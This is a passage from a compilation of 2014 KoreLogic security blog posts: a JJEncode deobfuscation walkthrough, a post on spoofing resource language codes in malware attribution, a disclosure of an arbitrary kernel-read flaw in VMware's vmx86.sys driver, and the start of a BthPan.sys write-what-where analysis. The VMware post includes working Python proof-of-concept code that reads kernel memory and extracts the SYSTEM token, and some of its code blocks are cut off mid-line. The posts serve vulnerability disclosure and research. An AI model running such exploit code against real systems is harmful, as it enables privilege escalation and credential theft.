"c". 9. The last three characters are composed of object properties that have already been assigned values: **$.__**, **$._$**, and **$.$**. These values are "t", "o", and "r", respectively. In the end, this line of code creates the string "constructor" and assigns it to **$.$_**. ### Line 4 Lines 4 and 5 construct two strings in a similar fashion. Line 4's string is constructed through the code: ``` $.$$=$.$+ (!""+"")[3]+ $.__+ $._+ $.$+ $.$$; ``` Most of the characters in the string use previously assigned values that we can substitute in, giving us: ``` $.$$="r"+(!""+"")[3]+"t"+"u"+"r"+"n" ``` The only letter not substitued is constructed through `(!""+"")[3]`. This is the operation that returns the string "true", the fourth character of which is "e". So, this line creates the string "return". ### Line 5 The last string constructed is on line 5: ``` $.$=(0)[$.$_][$.$_]; ``` **$.$_** is equal to the word "constructor", so we have the operation `(0)[constructor][constructor]`. Typing that into a JavaScript interpreter returns the following function: `function Function() { [native code] }` This is creating a JavaScript function definition. Since this was not passed any data, the function itself is empty. However, if we were to pass a string of JavaScript code into it, as shown in the example below, we would create an anonymous JavaScript function: ``` js> (0)["constructor"]["constructor"]("alert ('hi!');") function anonymous() { alert("hi!"); } ``` For the purposes of our decoding, this statement is creating a function and we can substitute the `function` keyword when we see **$.$** later in the obfuscated JavaScript. For those keeping track, our **$** object now has the following values: ``` $ { ___ : 0, $$$$ : "f", __$ : 1, $_$_ : "a", _$_ : 2, $_$$ : "b", $$_$ : "d", _$$ : 3, $$$_ : "e", $__ : 4, $_$ : 5, $$__ : "c", $$_ : 6, $$$ : 7, $___ : 8, $__$ : 9, $_ : "constructor", _$ : "o", $$ : "n", __ : "t", _ : "u", $$ : "return", $ : function } ``` ### Line 6 At this point we have performed all of the data initialization. Line 6 is where the substitution and execution of the deobfuscated code occurs. This happens simultaneously in the JavaScript code, but we can separate it out to view what is occurring. By substituting in the values we know about, we get a clearer picture of what the code is doing. Note that you have to be careful when doing this, as a simple search and replace cannot be performed as you run the risk of substituting incorrect values. Performing the substitution is left as an exercise to the reader, but when done you will get the following code. Image As seen above, the line 6 creates an anonymous function that is executed. The function's code is created by substituting values that were constructed earlier in the JavaScript. Since this code is currently a string of concatenations, we can bring the string together to be a bit more readable. Image The code still isn't entirely clear, but it is much better than before. A number of characters in the obfuscated code above are in the format backslash followed by a number. In JavaScript, this is the format used to represent a character by its octal (base 8) value. The octal values can be replaced with their [ ASCII equivalents](http://www.asciitable.com/) to remove this level of obfuscation. This leaves us with the unobfuscated code that is executed within the anonymous function. Image ### Conclusion The JJEncoded JavaScript looks daunting (and brain bleeding) at first. The obfuscation makes use of non-standard and repetitive variable names, and strings constructed in odd methods to fool analysts into thinking that it is much harder to deobfuscate than it actually is. However, by moving slowly and taking the code one line at a time, we can remove the obfuscation to get at the actual code beneath. While there are automatic decoders for JJEncode available, the next obfuscation technique you come across might not have a decoder. Tools help, but they only get so far and won't work all the time so being able to perform deobfuscation manually is a skill worth having. ### Notes [1. Interesting to note, using indexes to obtain string characters was not always a standard JavaScript feature, and therefore may not work in older browsers.]() --- ## Using Windows Resource Language Codes for Attribution URL: https://korelogic.com/blog/2014/12/23/windows-resource-language-attribution/ A malware-attribution discussion of Windows resource language codes and how they were interpreted in reporting around the Sony compromise. Published: 2014-12-23 Author: Tyler Category: Malware Analysis Tags: malware, tools, forensics, passwords, web-security Since news of the Sony hack broke, a number of reports have been pointing to North Korea as the source of the compromise. Part of the reasoning that North Korea is to blame is undoubtedly because the malware recovered from the compromise, and subsequently [made available](https://malwr.com/analysis/MWZkZjU4Mjc1ZTNlNDQzN2FkOWFhNWI1NjNmYjk0Nzc/) on a number of malware analysis websites, had internal resources that had the Korean language. While the languages associated with Windows resources on executables can be used for attribution, this post will show that they should not be singularly relied upon. Disclosure: KoreLogic is not involved with this investigation, nor do we have any inside knowledge. This post is based on the public information available and our experience and expertise. ### What are Resources? Resources are binary data that are attached directly to Windows programs and are used during execution. A number of standard resource types exist, including menus, icons, cursors, string tables, and version information. Programmers can also attach user-defined resources, which can be anything. Malware will often use resources to attach configuration files or secondary pieces of malware that are dropped and executed. Each resource has a number of characteristics that are stored in the executable. These include the name of the resource, its type, its location and size within the executable, and the locale information of the resource. The locale information, which describes the geographic region the resource is meant for, includes the language and sublanguage IDs of the resource. ### Language Identifiers The language and sublanguage IDs are 16-bit numeric identifiers that describe the primary language of the resource (e.g. English, Spanish, Arabic, etc.) and the region for that language (e.g. for English: United States, United Kingdom, South Africa, etc.). In the locale information, the language values are constructed using the [MAKELANGID macro](http://msdn.microsoft.com/en-us/library/windows/desktop/dd373908%28v=vs.85%29.aspx), which uses the following algorithm: ``` LANGINFO = (SUBLANG_ID << 10) | LANG_ID ``` A list of all language ID values is [available on MSDN.](http://msdn.microsoft.com/en-us/library/windows/desktop/dd318693%28v=vs.85%29.aspx) For example, the language ID for English is 0x09 and the sublanguage ID for the U.S. is 0x01. Therefore, the language value for U.S. English is 0x0409. The language associated with a resource can be parsed out by numerous PE editing tools, and of course, [MASTIFF](https://github.com/KoreLogicSecurity/mastiff). Image Resource information from a Zeus malware interpreted by MASTIFF. The ability to specify different resources based on language is helpful when supporting localization of an executable. For example, if a programmer wanted to make his program multilingual, he could add menus for English and Spanish to the executable instead of compiling two different versions of the program. Programmatically, loading resources based on language can be done with [FindResource()](http://msdn.microsoft.com/en-us/library/ms648042%28v=vs.85%29.aspx) or by enumerating all of the resources for a specific language with [EnumResourceLanguages()](http://msdn.microsoft.com/en-us/library/ms648035%28v=vs.85%29.aspx). Most resources are added to executables during the compilation process, although this can also be performed programmatically. When resources are added to a program, the programmer specifies the language and sublanguage ID of the resource using either the [LANGUAGE statement](http://msdn.microsoft.com/en-us/library/windows/desktop/aa381019%28v=vs.85%29.aspx) in the resource's .rc configuration file or within the compiler. If the language ID is not specified, the compiler (or at least Visual Studio) will use the language and sublanguage of the system the program is being compiled on. ### Language Identifiers in Attribution So why should analysts care about resources and their languages? If the malware author forgets to set the language of the resource, which is often the case, the compiler will use the language code of the author's system. While this won't provide the exact coordinates of the author, it will give a general geographic location and can be used for threat intelligence attribution (e.g. this malware was compiled in China, Brazil, US, etc.). However, there is a problem with blindly using the language codes in an executable for threat intelligence. Developers can set the language code of a resource to be whatever they want it to be. Therefore, if the developer wants an analyst to think the malware came from Russia, she only needs to set the language code to LANG_RUSSIAN (0x19) and the sublanguage to Russia (0x01) (locale ID 0x0419). If she wants to make it appear the malware came from Korea, she can set the language code to LANG_KOREAN (0x12) and the sublanguage code to Korea (0x01) (locale ID 0x0412). Image During the development process, this is often as easy as selecting the language from a drop-down box. The image on the right shows a program in Visual Studio 2012 that had an icon resource attached. Initially, the resource was given the language code English (United States) since that is the default language of my development system. However, the language could be changed to any other using the drop-down box in the VS GUI. Analysts need to make sure that the language information is used in context with the rest of the information available on the malware. If there are other indicators that support the language IDs being real, then all the better. Examples of additional indicators include command and control IP addresses in that geographic region, internal debug or help strings in that language, and additional intelligence that is available on the attacker or malware origins. If there is not any additional supporting information, treat the language codes with a grain of salt. Keep in mind that no checks are performed when a program is executed to determine if the language IDs have been changed, meaning an attacker could modify the language IDs of a resource after compilation. This could easily be done with a script that modifies the language code of malware resources every time it's downloaded as a means to change the malware's hashes or signature. Using the program we created in the example above, analyzing it within MASTIFF finds that its resources have a language code of US English (0x0409). Image Resources with the US English language code. By opening the program up in a hex editor, we can change the language to another by modifying the language values. In the example below, the code is changed from US English (0x0409) to Korean (0x0412). Note, bytes are reversed because they are stored in little-endian format. Image Resource language codes manually changed in a hex editor. MASTIFF, and any other PE analysis program, then shows the language for the resources as Korean. Image Previously changed resources now show the language as Korean. In malware analysis, it is often desirable to perform some type of attribution to determine where the malware came from. If the language codes for resources are set, then this allows analysts to get a general geographic feel for the malware's origin. However, since the language codes can be arbitrarily changed or set, they cannot be used as a singular indicator. As long as additional information is available that supports the language code as being real, then it can and should be used as an excellent intelligence resource. References: - MS Language IDs and Constants: [http://msdn.microsoft.com/en-us/library/windows/desktop/dd318693%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/dd318693%28v=vs.85%29.aspx) - Resource Types: [http://msdn.microsoft.com/en-us/library/ms648009%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/ms648009%28v=vs.85%29.aspx) - Menus and Other Resources: [http://msdn.microsoft.com/en-us/library/windows/desktop/ms632583%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/ms632583%28v=vs.85%29.aspx) - LANGUAGE statement: [http://msdn.microsoft.com/en-us/library/windows/desktop/aa381019%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/aa381019%28v=vs.85%29.aspx) - FindResource: [http://msdn.microsoft.com/en-us/library/ms648042%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/ms648042%28v=vs.85%29.aspx) - EnumResourceLanguages: [http://msdn.microsoft.com/en-us/library/ms648035%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/ms648035%28v=vs.85%29.aspx) - MAKELANGID: [http://msdn.microsoft.com/en-us/library/windows/desktop/dd373908%28v=vs.85%29.aspx](http://msdn.microsoft.com/en-us/library/windows/desktop/dd373908%28v=vs.85%29.aspx) --- ## VMware: "It''s not a vulnerability, mmkkkayyy" URL: https://korelogic.com/blog/2014/11/18/vmware-its-not-a-vulnerability-mmkkkayyy/ Research on VMware Workstation behavior that allowed members of the __vmware__ group to extract arbitrary sections of kernel memory. Published: 2014-11-18 Author: Matt Category: Vulnerability Research Tags: vulnerability-research During a recent review of the VMWare Workstation application, I discovered a method that allows any member of the **vmware** group to extract arbitrary sections of kernel memory. When you consider the fact that members of this group are not required to already have administrative privileges, this suddenly becomes a significant vulnerability in the sense that it implies that otherwise unprivileged users now have the means to extract and subsequently use/abuse sensitive data like process-level tokens, encryption keys, etc. Needless to say, this poses a significant security risk to any organization that allows unprivileged users to operate virtual machines by way of the **vmware** group. To date, VMWare has declined to mitigate this vulnerability despite the detailed evidence we have provided and our repeated attempts to convince them that there is an underlying design flaw here that needs to be addressed. Also note that this vulnerability, officially documented [here](/advisories/KL-001-2014-004/), has not been assigned a CVE identifier because MITRE declined to do so. The VMWare Workstation application uses a driver named vmx86.sys that supports various operations relating to guest operating system emulation and interaction. Our research has uncovered this vulnerability in Microsoft Windows XP Service Pack 3 and Windows 7 (x86). It is likely that Windows Server 2003 is impacted as well; other VMWare software such as Player may also be impacted. In order to execute the IOCTL within the affected driver, the user must belong to the **vmware** group. According to VMWare an unprivileged user does not have to belong to this group to run VMs as long as the vmware-authd.exe service is running. I have confirmed this to be the case. By leveraging this vulnerability, an unprivileged user will be able to extract any memory that resides within the kernel. Kernel memory contains sensitive information relating not just to process privilege level, but many other security aspects of the operating system as well. VMWare has indicated that they do not consider this an actionable security issue. However, as this vulnerability is trivially exploited, they agreed consumers should be advised to not assign untrusted users to the **vmware** group. Consequently, VMWare has since published Knowledge Base article [2089333](http://kb.vmware.com/kb/2089333), which "describes the use case and security considerations" of the **vmware** group. However, there's more to it than that. I have confirmed that the access afforded by the **vmware** group is greater than that a typical administrator would enjoy. In fact, the access is effectively equivalent to that of the SYSTEM user. I go into more detail about this later in the blog, but first, let me show you how the issue can be triggered. The code shown below triggers the issue by forcing a memory read at a blatantly invalid address (0xffff0000). ``` from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40) buf = pack(' db 0x25 L?0x4 00000025 a2 68 04 83 [+] Handle \\.\vmx86 @ 120 [+] HalDispatchTable+0x4(0x82d383fc) == 830468a2 ``` Another example would be to extract the SYSTEM Access Token from PID four (4): ``` lkd> !process 0 1 **** NT ACTIVE PROCESS DUMP **** PROCESS 853ca020 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 8a401b28 HandleCount: 983. Image: System ... lkd> !exts.token -n 8a401270 _TOKEN 8a401270 TS Session ID: 0 User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM) ... lkd> db 0x8a401270 L?0x1dc 8a401270 2a 53 59 53 54 45 4d 2a-00 00 00 00 00 00 00 00 *SYSTEM*........ 8a401280 ea 03 00 00 00 00 00 00-e7 03 00 00 00 00 00 00 ................ 8a401290 00 00 00 00 00 00 00 00-90 eb 4c b6 26 75 20 06 ..........L.&u . 8a4012a0 00 df 34 85 eb 03 00 00-00 00 00 00 00 00 00 00 ..4............. 8a4012b0 bc ff ff f2 0f 00 00 00-90 e8 b1 60 0e 00 00 00 ...........`.... 8a4012c0 90 e8 b1 60 0e 00 00 00-00 00 00 00 00 00 00 00 ...`............ 8a4012d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4012e0 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................ 8a4012f0 70 00 00 00 00 04 00 00-00 00 00 00 01 00 00 00 p............... 8a401300 4c 14 40 8a 00 00 00 00-08 12 40 8a 08 12 40 8a L.@.......@...@. 8a401310 14 12 40 8a 01 00 00 00-00 00 00 00 00 20 00 00 ..@.......... .. 8a401320 01 00 00 00 04 00 00 00-01 00 00 00 f8 15 40 8a ..............@. 8a401330 00 00 00 00 00 00 00 00-05 00 00 00 4c 14 40 8a ............L.@. 8a401340 16 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00 ................ 8a401350 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401360 00 00 00 00 00 00 00 00-00 00 00 00 08 00 00 00 ................ 8a401370 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401380 1c 00 00 00 01 00 00 00-02 00 00 00 00 00 00 00 ................ 8a401390 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a4013f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401400 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401410 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401420 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401430 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 8a401440 00 00 00 00 00 00 00 00-20 15 40 8a ........ .@. ``` ``` C:\Users\\Desktop>C:\Python27\python.exe kl-vmware-token-theft-poc1.py [+] Handle \\.\vmx86 @ 120 2a 53 59 53 54 45 4d 2a 00 00 00 00 00 00 00 00 ea 03 00 00 00 00 00 00 e7 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 eb 4c b6 26 75 20 06 00 df 34 85 eb 0 3 00 00 00 00 00 00 00 00 00 00 bc ff ff f2 0f 00 00 00 90 e8 b1 60 0e 00 00 00 90 e8 b1 60 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 70 00 00 00 00 0 4 00 00 00 00 00 00 01 00 00 00 4c 14 40 8a 00 00 00 00 08 12 40 8a 08 12 40 8a 14 12 40 8a 01 00 00 00 00 00 00 00 00 20 00 00 01 00 00 00 04 00 00 00 01 00 00 00 f8 15 40 8a 00 00 00 00 00 00 00 00 05 00 00 00 4c 14 40 8a 16 00 00 00 00 0 0 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 40 8a [*] caught system token ``` To obtain your current token, modify the address passed to pack() in the code shown below. If you enable /DEBUG, attach Windbg to the kernel and use !process 0 1 followed by !exts.token -n , you can verify that the code functions as shown above. ``` from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) inputBuffer = pack(': $ hexdump -C kernel.out|more 00000000 66 1d b8 03 1c 38 ff ff ef 59 28 f0 2c b3 66 a0 |f....8...Y(.,.f.| 00000010 2c 38 b2 27 2c b3 66 1d b8 00 00 71 0e 9b ff ff |,8.',.f....q....| 00000020 ef da 28 f0 2c b3 66 a0 2c 38 34 27 2c b3 66 1d |..(.,.f.,84',.f.| 00000030 b8 00 00 01 04 9b ff ff ef 5c 28 f0 2c b3 66 00 |.........\(.,.f.| 00000040 00 f0 a2 ab d5 27 2c b3 66 1d b8 05 1c 38 ff ff |.....',.f....8..| ``` Interestingly enough, VMWare makes a comparison between **vmware** and the Power Users/Administrator groups within Windows. I was particularly curious about this "The _vmware_ group is similar in concept to the Windows 2000/XP built-in Power Users group." and "Users in the _vmware_ group effectively have administrative privileges." My experience had taught me that neither a Power User or even Administrator could directly call memcpy() with a kernel address and get anything except a ERROR_NOACCESS. However, I decided to give them the benefit of the doubt and write some code to test the theory. To do that, I simply modified the code shown above to calculate the address of the first entry in the HalDispatchTable and subsequently read that four-byte value using memcpy(). ``` from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory memcpy = windll.msvcrt.memcpy INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 try: memcpy(0x10,HalDispatchTable ,0x4) except WindowsError as e: print "[!] caught error: %s" % (e) if (ReadProcessMemory(-1,HalDispatchTable,0x10,0x4,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::-1]): kValue+=i[::-1] print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue) else: print "[!] could not read output memory.\nGetLastError() == %s" % (hex(GetLastError())) ``` And then, I ran it. The output produced by executing the above code was as follows: ``` C:\Users\\Desktop>C:\Python27\python.exe kl-powerUser-kernelRead-testcase1.py [!] caught error: exception: access violation reading 0x82D393FC [!] could not read output memory. GetLastError() == 0x3e6 ``` As expected, an error, ERROR_NOACCESS (i.e., 0x3e6), occurred. I subsequently ran this code from the context of a Power User as well as an Administrator, and in both cases, the results were identical -- access denied. In other words, the tests confirmed that neither context, in its normal/default state, is sufficient to achieve the same level of access as was achieved by a user in the **vmware** group. It is my understanding that an Administrator can only read kernel memory if the boot manager has /DEBUG ON and only through WinDbg/KD or equivalent APIs. The API function memcpy() fails because it can only access memory addresses within the process executing the call. If this call is happening from kernel-mode, then the API call should function as suggested. This is not the case from user-land when providing the call a kernel-land memory address, regardless of whether the user is an Administrator or not. Therefore, not only does this vulnerability reside in the kernel, but the evidence collected also fails to support VMWare's points of comparison. It can be concluded that the evidence better supports that the points of comparison are between **vmware** and SYSTEM. To that end, it isn't sound security practice to provide Administrators with a mechanism to issue what is essentially a SYSTEM privilege, one which cannot easily be executed by even the Administrator, to a user with otherwise limited privileges. Now, we know that there are ways that Power Users and Administrators can obtain SYSTEM privileges, but those ways typically involve clearing some additional hurdles. With this particular vulnerability, it's as though all hurdles have been set aside. So, what can someone do for fun with this vulnerability? There are two cases I have thought of where this can be applied relatively easily to achieve some interesting results: 1. In my last post, I talked about a classic class of vulnerability known as write-what-where. While working on validating the shellcode used in that post, I had to use WinDbg to read nt!_token and a few other things from the kernel. An arbitrary read such as the one I have touched on in this blog post would allow an attacker to develop robust exploits that may leverage more than one vulnerability to accomplish their overall goal. 2. Read about the Microsoft .DMP file format and craft some code to create files that can load into WinDbg. Interesting plug-ins for Windbg exist, such as Mimikatz. While I can envision several methods for solving this vulnerability, one in particular is rather simple. The goal is to prevent an unprivileged user from being able to control the kernel memory address to be read. A FIFO queue could solve the issue by leveraging one IOCTL which will allocate and populate the required memory within the kernel, and add a pointer for that memory to the queue. A second IOCTL could then be used to provide the user with the memory from the address within the queue. This would remove the need for the unprivileged user to control the kernel memory address to be read, and thus, fix the vulnerability. During the interaction our program manager had with VMWare, they provided a final response regarding the vulnerability; quoted with identifying information redacted: ``` Hi [KoreLogic], We have re-reviewed your report and we believe that this is not a vulnerability for the following reasons: 1) Users must be manually added to the privileged group _vmware_ 2) Default configuration of the product does not add users to this group 3) The permissions granted by this group are what is required for the product to function if authd service is not running. However, we do feel that the omission of the _vmware_ group in our documentation is a problem. We have written a VMware Knowledge Base article documenting the group, its effective permissions, and usage here: http://kb.vmware.com/kb/2089333 We would like to acknowledge your assistance with the issue and add following statement to the Knowledge Base article: VMware would like to thank from Korelogic, Inc. for working with us on documenting this issue. Please let us know which name to use in above acknowledgement. If you are planning on announcing the findings of your team, we would highly appreciate it you could refer to our Knowledge Base article. Thank you again for the report. ---- ``` I personally derived one thing from this response. It's apparently considered a feature and not a vulnerability. I guess we're free to enjoy this newly documented 'feature' in VMWare Workstation! :) All joking aside, I am slightly confused as to why VMWare has declined to patch this obvious issue. I do not maintain that this vulnerability is the worst out there right now (it isn't), but at the very least, I think it requires the vendor to take responsibility by creating an appropriate patch. I welcome a continued conversation with VMWare about this vulnerability and the concepts I think can help prevent exploitation from occurring. When KoreLogic requested a CVE identifier for this vulnerability, MITRE indicated that none would be assigned. ``` Subject: Re: CVE-ID Request Date: Wed, 22 Oct 2014 19:04:12 -0400 (EDT) From: cve-assign@mitre.org To: disclosures@korelogic.com CC: cve-assign@mitre.org > The vendor's viewpoint is that it is not a vulnerability and therefore > no patch is needed. > > The type of attacker in this case is an unprivileged local user with > membership in the __vmware__ group. >> A vulnerability within the vmx86 driver allows an attacker to specify a >> memory address within the kernel and have the memory stored at that >> address be returned to the attacker. Thus, this is an arbitrary read due >> to improper input validation (CWE-20). There is no CVE ID assignment for this. From our perspective, the vendor is entitled to define a security policy in which this read access is considered an acceptable risk, given __vmware__ group membership. ``` If **vmware** were the equivalent of Power User or even Administrator, I would agree with MITRE. My thought would be that having multiple groups effectively equivalent to each other is bad practice, but I can see not issuing a CVE for THAT. The vulnerability that I discovered, however, is not equivalent to a Power User or even an Administrator. It's a vulnerability that effectively grants SYSTEM access! In my opinion, any use of the **vmware** group as currently implemented is a risk, and unless you're comfortable giving away SYSTEM access, you should avoid this group entirely. Furthermore, I assert that this vulnerability clearly violates [protection ring](https://en.wikipedia.org/wiki/Protection_ring) design principles. That being said, the fix is also pretty straight-forward: prevent unprivileged users from being able to control the kernel memory address and amount of data to be read. --- ## im in ur scm, bein a ninja URL: https://korelogic.com/blog/2014/11/05/im-in-ur-scm-bein-a-ninja/ A follow-up on source code repository tampering risks and why compromised developer or administrator access can undermine trusted code. Published: 2014-11-05 Author: Hank Category: Security Research A few months ago I posted a [high-level overview](/blog/2014/06/26/repository-tampering-security) of some source code repository tampering risks. The other day I presented a much deeper dive at [BSides DC](http://bsidesdc.org/), with examples of multiple ways to manipulate CVS, Git, and Subversion repositories, and some thoughts on how companies and code-hosting sites could/should harden their infrastructures. [Watch the presentation](https://www.youtube.com/watch?v=cZJXqDkuVm0), or [download the slides](/presentations/bsidesdc-scm-tampering-2014-10.pdf). (PDF warning) Watch for future blog posts that extract and expand upon some of those examples. Thanks to the BSidesDC folks for a great conference, and to [ComputeCycle](https://www.youtube.com/user/ComputeCycle) for the recordings! --- ## Password Security Research Featured in the Huffington Post URL: https://korelogic.com/blog/2014/10/17/password-research-huffington-post/ Coverage of Huffington Post reporting on KoreLogic password topology research and the risk of users overusing common password patterns. Published: 2014-10-17 Author: Klayton Category: Password Security Tags: tools, passwords Check out the recent Huffington Post article [The Big Password Mistake That Hackers Are Hoping You'll Make](http://www.huffingtonpost.com/jeff-fox/the-big-password-mistake_b_5995208.html) by Jeff Fox that talks about the need to "avoid a _little-known_ mistake recently uncovered by password researchers" (i.e., the overuse of common password patterns (or topologies) by users as they create their passwords). This article references some of the conclusions that came out of our PathWell (Password Topology Histogram Wear-Leveling) project, which was sponsored by DARPA (Defense Advanced Research Projects Agency) in 2013 under its Cyber FastTrack program. Stay tuned for more PathWell-related news as we are preparing to release the software developed for that project in the near future. --- ## Vuln Analysis: Classic write-what-where in XP's BthPan URL: https://korelogic.com/blog/2014/10/07/vuln-analysis-xp-bthpan/ Vulnerability analysis of a write-what-where flaw in the BthPan.sys Bluetooth driver on 32-bit Windows XP SP3. Published: 2014-10-07 Author: Matt Category: Vulnerability Research Tags: vulnerability-research, tools, forensics Recently, we came across the BthPan.sys driver while researching Microsoft's Bluetooth implementation within 32-bit Windows XP (SP3), and after conducting a number of fuzzing tests, we discovered that this driver has a vulnerability known as a write-what-where condition. It should be noted that the BthPan.sys driver is not enabled or even installed by default. Thus, the attack described below will only function if the end user or operating system administrator has installed the driver, such as via 'Add/Remove Programs' within the Control Panel, or installing some hardware driver that implicitly enables it. Once installed, the BthPan.sys driver is loaded into the kernel the next time a Bluetooth device is inserted in the target computer. After that, a process (svchost) is spawned to support Bluetooth operations. By monitoring the IOCTL calls made by this process as a result of various fuzzing runs, we were able to derive portions of the available attack surface within the driver, and that's what led to the discovery of the write-what-where condition. Example Python code that triggers this vulnerability can be found below. The important piece of information within this code is not the \x90 but rather the OutputAddress (0xffff0000) used within the DeviceIoControlFile function call. Since no memory had been previously allocated at this address, the kernel will throw an error as soon as any attempt is made to write to it. ``` from ctypes import * CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = 